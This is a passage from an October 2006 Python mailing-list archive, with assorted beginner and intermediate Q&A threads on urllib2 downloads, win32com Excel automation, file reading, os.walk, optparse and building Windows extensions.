> htmlSource=urllib.urlopen("http://www.godandscience.org/images/nebula.jpg")
> # Read from the object, storing the page's contents in 's'.
> s = htmlSource.read()
> htmlSource.close()
> myfile = open("myfile.jpg", "w")
> myfile.write(s)
> myfile.close

There were two advices (use urllib2 and "wb"). I tried to build this  
script on this basis:

import win32api
import win32com
import urllib2
gif&p=TAMA&fy=1900&ty=2005&m=21&r_type=TR&r_no=1")
htmlSource=urllib2.urlopen("http://www.godandscience.org/images/nebula.jpg")
# Read from the object, storing the page's contents in 's'.
s = htmlSource.read()
htmlSource.close()
myfile = open("P:\Jobb\Prosjekt\Maanedsoversikt\myfile.jpg", "wb")
myfile.write(s)
myfile.close


But the images get cropped at the bottom. Any suggestions on how to get  
the whole image, and not only 80 - 90% (I run python 2.4 with PythonWin on  
a Windows XP)

-- 
Using Opera's revolutionary e-mail client: http://www.opera.com/mail/


From martin at v.loewis.de  Wed Oct  4 16:36:54 2006
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Oct 2006 22:36:54 +0200
Subject: sax barfs on unicode filenames
In-Reply-To: <mailman.1271.1159974049.10491.python-list@python.org>
References: <WOOUg.61$iP5.19@newsfe07.lga> <4ohufoFem6rpU1@uni-berlin.de>
	<mailman.1271.1159974049.10491.python-list@python.org>
Message-ID: <45241B66.7050205@v.loewis.de>

Fredrik Lundh schrieb:
> Diez B. Roggisch wrote:
> 
>> Filenames are expected to be bytestrings. So what happens is that the
>> unicode string you pass as filename gets implicitly converted using the
>> default encoding.
> 
> it is ?

Yes. While you can pass Unicode strings as file names to many Python
functions, you can't pass them to Expat, as Expat requires the file name
as a byte string. Hence the error.

Regards,
Martin

P.S. and just to anticipate nit-picking: yes, you can pass a Unicode
string to Expat, too, as long as the Unicode string only contains
ASCII characters. And yes, it doesn't have to be ASCII, if you change
the system default encoding.


From pierre at saiph.com  Tue Oct  3 17:51:07 2006
From: pierre at saiph.com (Pierre Imbaud)
Date: Tue, 03 Oct 2006 17:51:07 -0400
Subject: python html rendering
Message-ID: <efum0b$2r2$1@sea.gmane.org>

Hi, Im looking for a way to display some python code
in html: with correct indentation, possibly syntax hiliting, dealing 
correctly with multi-line comment, and... generating valid html code if 
the python code itself deals with html (hence manipulates tag litterals.
Thanks for your help!



From janencarl at aznex.net  Wed Oct  4 21:04:07 2006
From: janencarl at aznex.net (Carl Trachte)
Date: Wed, 4 Oct 2006 18:04:07 -0700
Subject: Where is Python in the scheme of things?
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <Hq-dnVlTQZTnx7nYnZ2dnUVZ_qCdnZ2d@trueband.net>

I came from a VB/VBA environment before using Python.  My experience has
been that Python has a lot more free, pre-coded tools within its community
to do the sort of things I do in my job (geometric algorithms, date-time
functions, processing and accessing lists of items, scientific programming,
etc., etc.).  The main strength of VB6 was its ease in dragging and dropping
stuff to make a graphical user interface (GUI).  The main strength of VBA is
that a lot of people know it and it interfaces with the Excel spreadsheet
software nicely (except when Windows is acting up, but that's another
story).  Tkinker took some getting used to.  I've dabbled with wxPython a
bit.  After an initial learning curve, the tools aren't that hard to use,
and they both have modules for pre-made widgets (window items) like PMW for
Tkinter.

The module system, I find, is almost always a step up from dealing with
VB/VBA's DLL's.  "DLL hell" is real, especially for someone coming into a
programming environment for the first time.

My last point is a bit controversial.  You will get smarter faster and
cheaper in the Python community.  It's not that there aren't smart people in
the (classic) VB community.  It's just that there are a lot of people in
that community that never programmed in any other language, people that
think that learning a Unix based system is too much to ask from an employer,
people that believe that the GUI is the quality center and most critical
part of the program, and that the backend is an afterthought.  I wish I were
being cynical or exaggerating, but I'm not.  Hanging out around the Python
community will make you a better VB, dotNet (C#), or C++ programmer, even if
you go with one of those as your language of choice.

My 2 cents.

Carl Trachte

"gord" <gord at no_spaming.com> wrote in message
news:I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d at magma.ca...
> As a complete novice in the study of Python, I am asking myself where this
> language is superior or better suited than others. For example, all I see
in
> the tutorials are lots of examples of list processing, arithmetic
> calculations - all in a DOS-like environment.
>
> What is particularly disappointing is the absence of a Windows IDE,
> components and an event driven paradigm. How does Python stand relative to
> the big 3, namely Visual C++, Visual Basic and Delphi? I realize that
these
> programming packages are quite expensive now while Python is free (at
least
> for the package I am using - ActivePython).
>
> Please discuss where Python shines.
> Gord
>
>




From sjmachin at lexicon.net  Wed Oct  4 20:13:45 2006
From: sjmachin at lexicon.net (John Machin)
Date: 4 Oct 2006 17:13:45 -0700
Subject: Python crash when trying to generate an Excel worksheet with VBA
	macros
In-Reply-To: <1159959227.175800.141450@m7g2000cwm.googlegroups.com>
References: <1159959227.175800.141450@m7g2000cwm.googlegroups.com>
Message-ID: <1160007225.846474.226780@e3g2000cwe.googlegroups.com>


Apologies in advance to anyone who gets this twice, but I posted this
using Thunderbird over 11 hours ago and it's not showing up ...
=================================
On 4/10/2006 8:53 PM, dan_roman wrote:
> Hi,
> I developed a script with a nice interface in Tkinter that allows me to
> edit some formulas and to generate an Excel worksheet with VBA macros
> within it. The script runs perfectlly in Office 2000, but in Office
> 2003 crash at line: "wbc = workbook.VBProject.VBComponents.Add(1)"
> Please help me :-(

Please consider helping yourself:
(1) Show what error message you got
(2) Provide the bare minimal code that will reproduce the problem.

Now read on:

> the code of the module that crash is (only in Excel 2003, in 2000 not):
>
> import os
> import string

### not used

> from win32com.client import Dispatch, constants

### do yourself a favour, use makepy

>
> str_code="""
> Dim nrfunc As Integer
> Dim cursor As Integer
> Dim i As Integer
> Dim j As Integer
>
> Sub Fill()
>
>
> 'Aflu numaru de functii din XL
> i = 1
> ..................
> """
> def createExcelReport(projectName,templateName,saveToPath):
>     # acquire application object, which may start application
>     application = Dispatch("Excel.Application")
>
>     # create new file ('Workbook' in Excel-vocabulary) using the specified
> template
>     workbook = application.Workbooks.Add("Template1.xls")

Where do you keep this file? I had to supply a full path, otherwise I
was getting a file-not-found error.

>
>     # store default worksheet object so we can delete it later
>     defaultWorksheet = workbook.Worksheets(1)
### not needed

>
>     worksheet1 = workbook.Worksheets(1)
>     worksheet2 = workbook.Worksheets(2)
>     worksheet3 = workbook.Worksheets(3)
### not needed
>
> ---->>>>>    wbc = workbook.VBProject.VBComponents.Add(1) <<<<------ here
> is the problem
>
>     wbc.Name="Module1"
>
>     wbc.CodeModule.AddFromString(str_code)
>
>     path=saveToPath+"\\"+projectName+"_"+templateName+".xls"
>
>     workbook.SaveAs(path)
>
>     worksheet1 = workbook.Worksheets(1)
>
>     # make stuff visible now.
>     worksheet1.Activate()
>     application.Visible = True
>

and no code to call it.

I wrote some code to call it, created an empty default spreadsheet
called c:\junk\Template1.xls, ran it, got file-not-found, changed code
to have r"c:\junk\Template1.xls" and ran it again.

Sure enough, it crashed on the VBComponents.Add(1) thing. Here is the
result:

C:\junk>\python24\python dan_roman.py
Traceback (most recent call last):
  File "dan_roman.py", line 50, in ?
    saveToPath=r'c:\junk',
  File "dan_roman.py", line 31, in createExcelReport
    wbc = workbook.VBProject.VBComponents.Add(1)
  File "C:\Python24\Lib\site-packages\win32com\client\__init__.py",
line 496, in
 __getattr__
    if d is not None: return getattr(d, attr)
  File "C:\Python24\Lib\site-packages\win32com\client\__init__.py",
line 455, in
 __getattr__
    return self._ApplyTypes_(*args)
  File "C:\Python24\Lib\site-packages\win32com\client\__init__.py",
line 446, in
 _ApplyTypes_
    return self._get_good_object_(
pywintypes.com_error: (-2147352567, 'Exception occurred.', (0,
'Microsoft Office
 Excel', 'Programmatic access to Visual Basic Project is not
trusted\n', 'C:\\Pr
ogram Files\\Microsoft Office\\OFFICE11\\1033\\xlmain11.chm', 0,
-2146827284), N
one)

====
Interesting: "Programmatic access to Visual Basic Project is not
trusted"

So I opened up Template1.xls and did Macros > Security > Trusted
Publishers and ticked "Trust access to Visual Basic Project" and saved
the file and exited Excel and ensured there were no ghost Excel.exe
processes lurking.

[Confessions (1) I'm not in the habit of mucking about with VBA, so I
didn't get this right first time (2) William Ferschlugginer Gates was
mentioned once or twice, not in a complimentary fashion :-)]

Now the code appears to work. It creates a file, in which your VBA guff
can be seen by opening it with Excel and entering the VBA editor.

So, the $64,000 question is: "What error message did *you* get?"

My versions:
Excel 2003 (11.8033.8036) SP2
pywin32 build 209
Python 2.4.3

HTH,
John



From esj at harvee.org  Tue Oct  3 00:36:04 2006
From: esj at harvee.org (Eric S. Johansson)
Date: Tue, 03 Oct 2006 00:36:04 -0400
Subject: httplib and large file uploads
In-Reply-To: <4222a8490610021035j28ddc198kfb60fa43b30a5ce9@mail.gmail.com>
References: <4222a8490610021035j28ddc198kfb60fa43b30a5ce9@mail.gmail.com>
Message-ID: <4521E8B4.7030905@harvee.org>

Jesse Noller wrote:
> Hey All,
> 
> I'm working on an script that will generate a file of N size (where N is 
> 1k-1gig) in small chunks, in memory (and hash the data on the fly) and 
> pass it to an httplib object for upload. I don't want to store the file 
> on the disk, or completely in memory at any time. The problem arises 
> after getting the http connection (PUT) - and then trying to figure out 
> how to iterate/hand the chunks I am generating to the httplib 
> connection's send() call. For example (this code does not work as is):

I've been wrestling with a similar one for a while and been mostly held 
up because the Java applet developer has been... less than prompt.

The only way I've been able to successfully upload very large files is 
by performing multiple put requests and on the server-side aggregating 
them into the "real file".  obviously, world will be more difficult if 
you don't have a uniform chunk size or sequential creation of chunks.

---eric



From marc.wyburn at googlemail.com  Fri Oct 27 07:28:51 2006
From: marc.wyburn at googlemail.com (marc.wyburn at googlemail.com)
Date: 27 Oct 2006 04:28:51 -0700
Subject: Slurping All Content of a File into a Variable
In-Reply-To: <mailman.1330.1161932057.11739.python-list@python.org>
References: <mailman.1330.1161932057.11739.python-list@python.org>
Message-ID: <1161948531.098283.162950@b28g2000cwb.googlegroups.com>

myfile_content is an object and you have only opened the file.  Python
doesn't yet know whether you want to read it, copy it etc.

to read it try

text = myfile_content.readlines()
print text

this should be in most tutorials


Wijaya Edward wrote:
> Hi,
>
> How can we slurp content of a single file
> into one variable?
>
> I tried this:
>
> >>> myfile_content = open('somefile.txt')
> >>> print myfile_content,
> <open file 'somefile.txt', mode 'r' at 0xb7f532e0>
> >>>
>
> But it doesn't print the content of the file.
>
> Regards,
> -- Edward WIJAYA
> SINGAPORE
>
>
> ------------ Institute For Infocomm Research - Disclaimer -------------
> This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
> --------------------------------------------------------



From nogradi at gmail.com  Sat Oct  7 17:45:29 2006
From: nogradi at gmail.com (Daniel Nogradi)
Date: Sat, 7 Oct 2006 23:45:29 +0200
Subject: operator overloading + - / * = etc...
In-Reply-To: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
Message-ID: <5f56302b0610071445y5fb04050x22d0b1b2d301ec9c@mail.gmail.com>

> Can these operators be overloaded?
> If so.  How?
>

http://www.python.org/doc/ref/numeric-types.html

HTH,
Daniel


From ray_usenet at yahoo.com  Sun Oct  1 23:01:12 2006
From: ray_usenet at yahoo.com (Ray)
Date: 1 Oct 2006 20:01:12 -0700
Subject: The Python world tries to be polite [formerly offensive to
	another language]
In-Reply-To: <1159743338.577830.177290@i42g2000cwa.googlegroups.com>
References: <1159188351.960448.43660@d34g2000cwd.googlegroups.com>
	<1159555450.721085.51710@h48g2000cwc.googlegroups.com>
	<mailman.990.1159598785.10491.python-list@python.org>
	<1159601820.592847.42160@i3g2000cwc.googlegroups.com>
	<mailman.996.1159603783.10491.python-list@python.org>
	<_vidnZxCbMF-NYPYnZ2dnUVZ_qqdnZ2d@speakeasy.net>
	<efo6oj$ce6$1@mlucom4.urz.uni-halle.de>
	<1159730965.869927.322910@h48g2000cwc.googlegroups.com>
	<1159743338.577830.177290@i42g2000cwa.googlegroups.com>
Message-ID: <1159758072.560865.293300@h48g2000cwc.googlegroups.com>


MonkeeSage wrote:
> Ant wrote:
> > Don't think so, I followed the thread along a little, and it seems to
> > be correct. In addition, they seem to have the ? character as the Perl
> > 6 equivalent of zip(). Those crazy guys.
>
> Yup, I don't think it was a joke either; there are several other
> "hyper" operators already in pugs:
> http://svn.openfoundry.org/pugs/src/Pugs/Parser/Operator.hs (see tests:
> http://svn.openfoundry.org/pugs/t/operators/hyper.t ).

If it weren't Perl I would think of this as an April Fool's joke. Good
thing by the time Perl 6 comes out nobody'll care enough about it to
use it (in fact even if it comes out tomorrow, does anybody still
care?). So it's quite unlikely for us to encounter it in the real
world... or so I hope.


> 
> Regards,
> Jordan



From antroy at gmail.com  Mon Oct 23 07:25:01 2006
From: antroy at gmail.com (Ant)
Date: 23 Oct 2006 04:25:01 -0700
Subject: Using Python scripts in Windows Explorer
In-Reply-To: <1161600812.006210.219090@k70g2000cwa.googlegroups.com>
References: <1161357605.861266.144980@m73g2000cwd.googlegroups.com>
	<mailman.868.1161374544.11739.python-list@python.org>
	<1161600812.006210.219090@k70g2000cwa.googlegroups.com>
Message-ID: <1161602701.013320.62880@m73g2000cwd.googlegroups.com>

Ben Sizer wrote:

> > Create a shortcut and drop the file over it.
...
> That is what I meant by 'the usual steps'. :)  It doesn't work.

Alter the target of the shortcut to something like:

C:\Python25\python.exe C:\0\sort_test.py

and drag and drop should work, with the filename of the dragged file
being sent as a script argument.



From fredrik at pythonware.com  Wed Oct  4 07:07:56 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 4 Oct 2006 13:07:56 +0200
Subject: What value should be passed to make a function use the
	defaultargument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com><7xwt7gqwb3.fsf@ruckus.brouhaha.com><slrnei7235.55m.apardon@rcpc42.vub.ac.be><7xac4cpefr.fsf@ruckus.brouhaha.com><slrnei73f7.55m.apardon@rcpc42.vub.ac.be>
	<eg03un$se8$1@news.albasani.net>
Message-ID: <eg04mc$tpg$1@sea.gmane.org>

Georg Brandl wrote:

>> But that can only work if you are the author of f. Take the
>> following code:
>>
>>   def myrepeat(obj, times = xxx):
>>     return itertools.repeat(obj, times)
>>
>> What value do I have to substitue for xxx, so that myrepeat
>> will have the exact same function as itertools.repeat?
>
> There's no possible value. You'll have to write this like
>
> def myrepeat(obj, times=None):
>     if times is None:
>         return itertools.repeat(obj)
>     else:
>         return itertools.repeat(obj, times)

or:

    def myrepeat(*args):
        return itertools.repeat(*args)

</F> 





From steve at holdenweb.com  Wed Oct 25 12:27:14 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 25 Oct 2006 17:27:14 +0100
Subject: To remove some lines from a file
In-Reply-To: <ehnsht$ic1$1@news.lrz-muenchen.de>
References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com>
	<ehnsht$ic1$1@news.lrz-muenchen.de>
Message-ID: <eho36v$5kr$1@sea.gmane.org>

Sebastian Busch wrote:
> umut.tabak at student.kuleuven.be wrote:
> 
>>... I would like to remove two lines from a file.
>>...
> 
> 
> I am quite new myself -- but wouldn't grep -v do that easier (and
> perhaps faster)?
> 
Kindly show how to use grep to solve this problem:

   Remove the first two lines that don't begin with "@" from a file.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From uriel.katz at gmail.com  Fri Oct  6 07:49:35 2006
From: uriel.katz at gmail.com (urielka)
Date: 6 Oct 2006 04:49:35 -0700
Subject: Access to static members from inside a method decorator?
In-Reply-To: <eg53cl$u3e$00$1@news.t-online.com>
References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com>
	<4524c9bb$0$23498$426a74cc@news.free.fr>
	<1160061499.579029.9130@k70g2000cwa.googlegroups.com>
	<mailman.1360.1160063063.10491.python-list@python.org>
	<1160104692.597151.143200@b28g2000cwb.googlegroups.com>
	<eg53cl$u3e$00$1@news.t-online.com>
Message-ID: <1160135375.836315.31220@b28g2000cwb.googlegroups.com>

no need for all that,i wrote a basic Ajax framework for cherrypy that
features a Ajax.Net feature,exposing functions to JavaScript via
attributes(or in python via decorators),here is a decorator that run
one time(i.e. before running the actual code) and get the name of the
class
[code]
def AddFunction(func):
        stack=inspect.stack()
        ClsName=stack[1][3]#get the class name from the stack
        #now you both have the ClassName and the func object,so you can
populate your list
        return func#return the decorated function
[/code]
it use the module inspect,to inspect the stack.



From epost2 at gmail.com  Sat Oct  7 13:34:10 2006
From: epost2 at gmail.com (Bruce)
Date: 7 Oct 2006 10:34:10 -0700
Subject: Is there an alternative to os.walk?
In-Reply-To: <1159988816.166699.307450@k70g2000cwa.googlegroups.com>
References: <1159983032.359224.83280@i3g2000cwc.googlegroups.com>
	<1159988816.166699.307450@k70g2000cwa.googlegroups.com>
Message-ID: <1160242450.515582.304510@i42g2000cwa.googlegroups.com>

waylan wrote:
> Bruce wrote:
> > Hi all,
> > I have a question about traversing file systems, and could use some
> > help. Because of directories with many files in them, os.walk appears
> > to be rather slow. I`m thinking there is a potential for speed-up since
> > I don`t need os.walk to report filenames of all the files in every
> > directory it visits. Is there some clever way to use os.walk or another
> > tool that would provide functionality like os.walk except for the
> > listing of the filenames?
>
> You might want to check out the path module [1] (not os.path). The
> following is from the docs:
>
> > The method path.walk() returns an iterator which steps recursively
> > through a whole directory tree. path.walkdirs() and path.walkfiles()
> > are the same, but they yield only the directories and only the files,
> > respectively.
>
> Oh, and you can thank Paul Bissex for pointing me to path [2].
>

> [1]: http://www.jorendorff.com/articles/python/path/
> [2]: http://e-scribe.com/news/289

A little late but.. thanks for the replies, was very useful. Here`s
what I do in this case:

def search(a_dir):
   valid_dirs = []
   walker = os.walk(a_dir)
   while 1:
       try:
           dirpath, dirnames, filenames = walker.next()
       except StopIteration:
           break
       if dirtest(dirpath,filenames):
           valid_dirs.append(dirpath)
   return valid_dirs

def dirtest(a_dir):
   testfiles = ['a','b','c']
   for f in testfiles:
       if not os.path.exists(os.path.join(a_dir,f)):
           return 0
   return 1

I think you`re right - it`s not os.walk that makes this slow, it`s the
dirtest method that takes so much more time when there are many files
in a directory. Also, thanks for pointing me to the path module, was
interesting.



From srikrishnamohan at gmail.com  Sun Oct  8 15:58:45 2006
From: srikrishnamohan at gmail.com (km)
Date: Mon, 9 Oct 2006 01:28:45 +0530
Subject: references and buffer()
In-Reply-To: <463ff4860610081224o7261e9e9ue0981b79fa574cbd@mail.gmail.com>
References: <f4cc03640610081140i48be2853i68dde935d1b50b3d@mail.gmail.com>
	<egbh20$o6q$2@sea.gmane.org>
	<f4cc03640610081209x772ca04ex2b47204a2003bfb0@mail.gmail.com>
	<463ff4860610081224o7261e9e9ue0981b79fa574cbd@mail.gmail.com>
Message-ID: <f4cc03640610081258p22e879feg4281c7bba758bef4@mail.gmail.com>

Hi all,

Say that you copy the contents of file foo into file bar and delete
> the original foo. Of course file bar still exists in this case. Not
> much of a difference; I haven't seen buffer objects yet (I am also new
> to Python), but the initialization for the buffer probably copies
> whatever is in y somewhere.


that means when u refer to an object  with different names (variable), it
referes to the same object- fine. but  is it that  the original object stays
in memory until it is Garbage Collected ?
is it that  del() deletes  the link of variable to the object and not the
object ? and thats why u can access it from other variables ?


You didn't modify the object that the variable /refers to/.
> Furthermore, numbers are immutable anyway. To continue with the Hindu
> god analogy, Vishnu did not cease to exist when any of his avatars
> passed from the physical world; it is no different with objects in
> Python.


vishnu analogy is a bit complicated as  it is a manifestation of divine
energy in terms of earthly object(avatar). Its clearly not a reference. each
avatar is himself (vishnu). It is the same energy people around have too
(coz of manifestation). ofcourse they dont realise coz of ego (id in
python)  and so the object class (divine energy) is the same - unlike python
where we have different classes derived from object class.

IOW
>
> a --> 10
> b -/
>
> Delete the 'a' reference and:
>
> b --> 10


got it!


What is a little different is this: if there are no references left to
> an object (such as variables), the object the references point to will
> eventually be deleted. Variables are one way to have a reference to an
> object. References to an object may also exist in a list, hash, or
> other data type.


so the object exists until there are no references  to it and  will be
Garbage Collected  immediately?
regards,
KM
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From felipe.lessa at gmail.com  Sun Oct 22 09:58:15 2006
From: felipe.lessa at gmail.com (Felipe Almeida Lessa)
Date: Sun, 22 Oct 2006 10:58:15 -0300
Subject: How to print a file in binary mode
In-Reply-To: <1161524030.833422.216370@k70g2000cwa.googlegroups.com>
References: <1161519385.614985.311240@m73g2000cwd.googlegroups.com>
	<pan.2006.10.22.13.06.08.86072@gmx.net>
	<1161524030.833422.216370@k70g2000cwa.googlegroups.com>
Message-ID: <c2701f5c0610220658g44b1782ei3278852def892f8b@mail.gmail.com>

22 Oct 2006 06:33:50 -0700, Lucas <Luwian at gmail.com>:

> I known how to do it.
> read() return a string. so
> 1) bytes = read(1) #read the file by bit.
> 2) chrString  = ord(bytes) #convert the string to ASCII.
> 3) print numberToBinary(chrString) #convert the ASCII to Binary using
> my function.
> 4) Loop


[numberToBinary(ord(x)) for x in f.read()]    ?

-- 
Felipe.
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From colin.lehmann at gmail.com  Sun Oct  8 01:23:22 2006
From: colin.lehmann at gmail.com (Colin Lehmann)
Date: Sun, 08 Oct 2006 12:23:22 +0700
Subject: Raw beginner....
Message-ID: <45288B4A.90702@gmail.com>

I am new to Python although I have been using Delphi since version one, 
I have been employed as a C and C++ programmer so when I went to Linux 
(Ubuntu 5.10) I thought Python looked pretty good.
I downloaded and installed 'Eric Python IDE' which seems OK, any 
alternatives suggested will be looked at....

My current problem is I am trying to compile a package I downloaded, it 
is a PodCaster called 'CastPodder'!!), I looked at the source file and 
it tried to import something called 'wxversion' and couldn't find it.
I searched the net and found a package called 'Python wxversion???.Deb'. 
Downloaded it and unpacked it but the IDE still can't find it!

My question is : Where should I put the package (download it to..) so 
when I unpack it the IDE can find it?
I looked around and found a reference to PYTHONPATH which is supposed to 
tell Python where everything is but I simply cannot find it anywhere. I 
found sys.path but I don't think that is what I want....

Help!

Everyone must have gone through this sometime!!

TIA
Colin


From bcannon at gmail.com  Sun Oct 22 11:19:48 2006
From: bcannon at gmail.com (bcannon at gmail.com)
Date: 22 Oct 2006 08:19:48 -0700
Subject: PSF Infrastructure has chosen Roundup as the issue tracker for Python
	development [repost]
Message-ID: <1161530388.074372.242310@b28g2000cwb.googlegroups.com>

[my initial post through python-list never seemed to reach c.l.py;
reposting]

At the beginning of the month the PSF Infrastructure committee
announced that we had reached the decision that JIRA was our
recommendation for the next issue tracker for Python development.
Realizing, though, that it was a tough call between JIRA and Roundup we
said that we would be willing to switch our recommendation to Roundup
if enough volunteers stepped forward to help administer the tracker,
thus negating Atlassian's offer of free managed hosting.

Well, the community stepped up to the challenge and we got plenty of
volunteers!  In fact, the call for volunteers has led to an offer for
professional hosting for Roundup from Upfront Systems.  The committee
is currently evaluating that offer and will hopefully have a decision
made soon.  Once a decision has been made we will contact the
volunteers as to whom we have selected to help administer the
installation (regardless of who hosts the tracker).  The administrators
and python-dev can then begin working towards deciding what we want
from the tracker and its configuration.

Once again, thanks to the volunteers for stepping forward to make this
happen!

-Brett Cannon
PSF Infrastructure committee chairman



From jstroud at mbi.ucla.edu  Fri Oct 13 23:41:31 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Sat, 14 Oct 2006 03:41:31 GMT
Subject: optparse: add trailing text in help message?
In-Reply-To: <mailman.465.1160759456.11739.python-list@python.org>
References: <mailman.465.1160759456.11739.python-list@python.org>
Message-ID: <L%YXg.14545$e66.1934@newssvr13.news.prodigy.com>

Count L?szl? de Alm?sy wrote:
> Is there a standard way with optparse to include a blurb of text after
> the usage section, description, and the list of options?  This is
> often useful to include examples or closing comments when the help
> message is printed out.  Many of the GNU commands do this.
> 
> It would look something like this:
> 
> % program --help
> 
> usage: program [options]
> 
> This is my description text.
> 
> options:
>  -f BAR, --foo=BAR
>                 A sample option
>  --version   show program's version number and exit
>  --help       show this help message and exit
> 
> ==> Now how about closing text after the options list?


Maybe subclass OptionParser?


py> from optparse import OptionParser
py>
py> class OptionParserSpecial(OptionParser):
...   def format_help(self, *args, **kwargs):
...     result = OptionParser.format_help(self, *args, **kwargs)
...     if hasattr(self, 'trailing_text'):
...       return "%s\n%s\n" % (result, self.trailing_text)
...     else:
...        return result
...
py>
py> usage = 'usage: dosomething [options] path'
py> parser = OptionParserSpecial(usage)
py> parser.add_option("-a", "--all", dest="all",
...            action='store_true', default=False,
...            help="don't skip hidden or binary files")
<Option at 0x404f61ac: -a/--all>
py> parser.trailing_text = 'Some extra info here.'
py>
py> options, args = parser.parse_args()
py>
py> parser.print_help()
Usage: dosomething [options] path

Options:
   -h, --help  show this help message and exit
   -a, --all   don't skip hidden or binary files

Some extra info here.


James

-- 
James Stroud
UCLA-DOE Institute for Genomics and Proteomics
Box 951570
Los Angeles, CA 90095

http://www.jamesstroud.com/


From wilson1442 at bellsouth.net  Tue Oct 17 13:38:31 2006
From: wilson1442 at bellsouth.net (JW)
Date: Tue, 17 Oct 2006 13:38:31 -0400
Subject: building extensions for Windows Python
References: <pan.2006.10.13.15.39.25.338194@bellsouth.net>
	<1160756760.071171.298590@b28g2000cwb.googlegroups.com>
Message-ID: <pan.2006.10.17.17.38.30.489435@bellsouth.net>

Thanks to Michael and Nick, I can now cross-compile my Pyrex extensions
for bog-standard Python 2.5.  As I stumbled around in the dark trying to
bump into a solution, I was bolstered by the belief that at least two
other people had found the light at the end of the tunnel.

I had been using a crufty old prebuilt MinGW that linked to MSVCRT.DLL but
didn't include support for the newer VC runtime DLLs.  I had to build the
current version which adds support for MVCR71 (used by Python 2.5) and
MSVCR80 (used by Microsoft's current ".NET" offering).

(Note: The build script proffered by mingw.org fails really cryptically if
you don't have the scanner tool, "flex", installed.  But that's another
story.  After some hand-to-hand combat, I had a working MinGW, nee GCC
3.4.2.)

Microsoft advises that it's very bad mojo to mix calls to MSVCRT.DLL and
MSVCR71.DLL in one application, but http://tinyurl.com/ydndnn (or a page
it references) advises how to avert such a disaster with a simple change
to MinGW's "spec" file (which I never knew existed).

The upshot is that I can now use Linux to cross-build my extension for
Windows, and my preliminary testing (under WINE -- See the original post.
I must adhere to my employment contract!) seems to show that it works. 

Had I not known someone else claimed success, I would have thrown up my
hands in frustration.

Jim Wilson
Gainesville, FL



From no at spam.com  Wed Oct 25 14:28:04 2006
From: no at spam.com (Farshid Lashkari)
Date: Wed, 25 Oct 2006 11:28:04 -0700
Subject: cleaner way to write this?
In-Reply-To: <7xac3kb6do.fsf@ruckus.brouhaha.com>
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<7xac3kb6do.fsf@ruckus.brouhaha.com>
Message-ID: <9%N%g.44157$Q82.23067@newsfe15.phx>

Paul Rubin wrote:
> I like
> 
>     if dlg.ShowModal() == wx.ID_OK:
>          db_name = dlg.GetValue()
>     else:
>          db_name = None
>     dlg.Destroy()
>     return db_name
> 
> better than
> 
>     db_name = None
>     if dlg.ShowModal() == wx.ID_OK:
>          db_name = dlg.GetValue()
>     dlg.Destroy()
>     return db_name
> 
> but I suppose it's a matter of preference.

Yeah, I think the second way is usually used by people who are more 
accustomed to programming in C, since they need to initialize variables. 
Your way is probably more Pythonic though.

-Farshid


From bignose+hates-spam at benfinney.id.au  Thu Oct 26 22:42:47 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 27 Oct 2006 12:42:47 +1000
Subject: Insert Content of a File into a Variable
References: <3ACF03E372996C4EACD542EA8A05E66A0615DB@mailbe01.teak.local.net>
	<87wt6mebbv.fsf@benfinney.id.au>
Message-ID: <87slhaeaxk.fsf@benfinney.id.au>

Ben Finney <bignose+hates-spam at benfinney.id.au> writes:

> The 'read' method of the resulting file object will return the
> contents of the file. You may also want to read the documentation of
> thile objects to see what else you can do with them.

And ith you couldn't underthtand my thpeetch impediment, I meanth
"read the documentation of file objects".

-- 
 \                      "I'm a great lover, I'll bet."  -- Emo Philips |
  `\                                                                   |
_o__)                                                                  |
Ben Finney



From bruno at modulix.org  Sun Oct 22 06:34:21 2006
From: bruno at modulix.org (bruno de chez modulix en face)
Date: 22 Oct 2006 03:34:21 -0700
Subject: help with my first use of a class
In-Reply-To: <mailman.897.1161433418.11739.python-list@python.org>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>
	<mailman.846.1161354249.11739.python-list@python.org>
	<A98_g.21901$7I1.16490@newssvr27.news.prodigy.net>
	<mailman.897.1161433418.11739.python-list@python.org>
Message-ID: <1161513261.466412.318300@e3g2000cwe.googlegroups.com>


Fulvio a ?crit :

> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************
>
>
> On Saturday 21 October 2006 02:01, James Stroud wrote:
> > I think the trick is to identify when a class would make more sense than
> > a collection of subroutines
>
> I do believe that's a bit of forecasting, in sense to determine whether a
> piece of code may have a future.
> Usually in hobbistic term I think we can
> bear with copy&pasting pieces of code across programs rather than go for a
> class(es) module.

OO and reuse are two orthogonal concerns. You don't need OO to reuse
code, and OO is not so much about code reuse - even if it can improve
reusability - than about how to best structure your code.

To illustrate James' POV, if you end up with half a dozen functions
working on a same well-defined data structure,  then it might be time
to 'integrate' these functions and the data structure into a class.
Some other hints are when you have a small set of functions depending
on a common set of globals, or when you find yourself adding to your
functions signature too much additional params that are only meant to
be passed to other functions that themselves will pass them etc...

Copy-paste reuse should IMHO be limited to very trivial helper
functions that are not worth the pain of dependencies management...

My 2 cents



From horpner at yahoo.com  Thu Oct 12 10:20:39 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 12 Oct 2006 16:20:39 +0200
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>
	<7x3b9u376m.fsf@ruckus.brouhaha.com>
